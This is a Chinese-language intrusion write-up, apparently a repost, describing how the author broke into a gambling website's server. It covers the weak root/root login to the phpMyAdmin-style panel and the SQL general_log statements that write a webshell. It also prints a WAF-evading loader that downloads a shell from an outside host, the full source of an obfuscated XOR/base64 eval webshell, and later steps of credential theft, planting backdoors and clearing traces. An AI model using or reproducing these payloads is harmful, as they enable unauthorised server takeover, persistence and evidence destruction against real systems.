|
原文链接:简单绕过waf拿下赌博网站
收集信息
x.x.x.x
首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上。
随手加个路径,报错了,当看到这个界面我瞬间就有思路了
为什么这么说呢,因为之前我就碰见过这样的网站报错, 这是一个php集成环境,叫upupw,跟phpstudy是一样的
upupw --> pmd phpstudy --> phpmyadmin
突破点
这个集成环境包也有个phpinfo的页面,跟数据库管理界面
u.php
测试一下弱口令
root/root
连接成功后就可以看到phpinfo的页面
好了现在问题变成phpmyadmin拿shell
getshell三步拿shell
- set global general_log='on';
- SET global general_log_file='D:/xxxx/WWW/cmd.php';
- SELECT '<?php assert($_POST["cmd"]);?>';
复制代码 当执行第三步的时候页面 卡在执行中。。。没有反应 瞬间感觉不对,可能存在waf
换了个免杀马试试,先写到txt里边看看成否成功
没有任何问题,下面直接写入php文件
可以写入,直接去连接shell
果然有waf,当时写入的时候就感觉到了,不免杀的shell,sql语句执行不了
绕过waf怼了半天都不知道是什么鬼waf,用下载文件试试
为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php
- SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
- SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
复制代码
访问11.php 就会生成shell.php
这里的shell也是用了哥斯拉的免杀shell
- <?php
- session_start();
- @set_time_limit(0);
- @error_reporting(0);
- function E($D,$K){
- for($i=0;$i<strlen($D);$i++) {
- $D[$i] = $D[$i]^$K[$i+1&15];
- }
- return $D;
- }
- function Q($D){
- return base64_encode($D);
- }
- function O($D){
- return base64_decode($D);
- }
- $P='pass';
- $V='payload';
- $T='3c6e0b8a9c15224a';
- if (isset($_POST[$P])){
- $F=O(E(O($_POST[$P]),$T));
- if (isset($_SESSION[$V])){
- $L=$_SESSION[$V];
- $A=explode('|',$L);
- class C{public function nvoke($p) {eval($p."");}}
- $R=new C();
- $R->nvoke($A[0]);
- echo substr(md5($P.$T),0,16);
- echo Q(E(@run($F),$T));
- echo substr(md5($P.$T),16);
- }else{
- $_SESSION[$V]=$F;
- }
- }
复制代码
尝试了这么多次
进程里没有waf进程
权限是system
脱源码上传抓密码工具,直接获取管理密码,登上服务器
留后门,清理痕迹多留几个后门,万一被删
这个网段还有这么多机器
源码打开源码才发现waf是360webscan
了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,从而能够独立给出加固方案,如果没尝试过,复制下方链接试试手气!
https://www.hetianlab.com/expc.do?ec=ECID169b-e5a2-4f81-8881-a6b216573892&pk_campaign=weixin-wemedia
|
|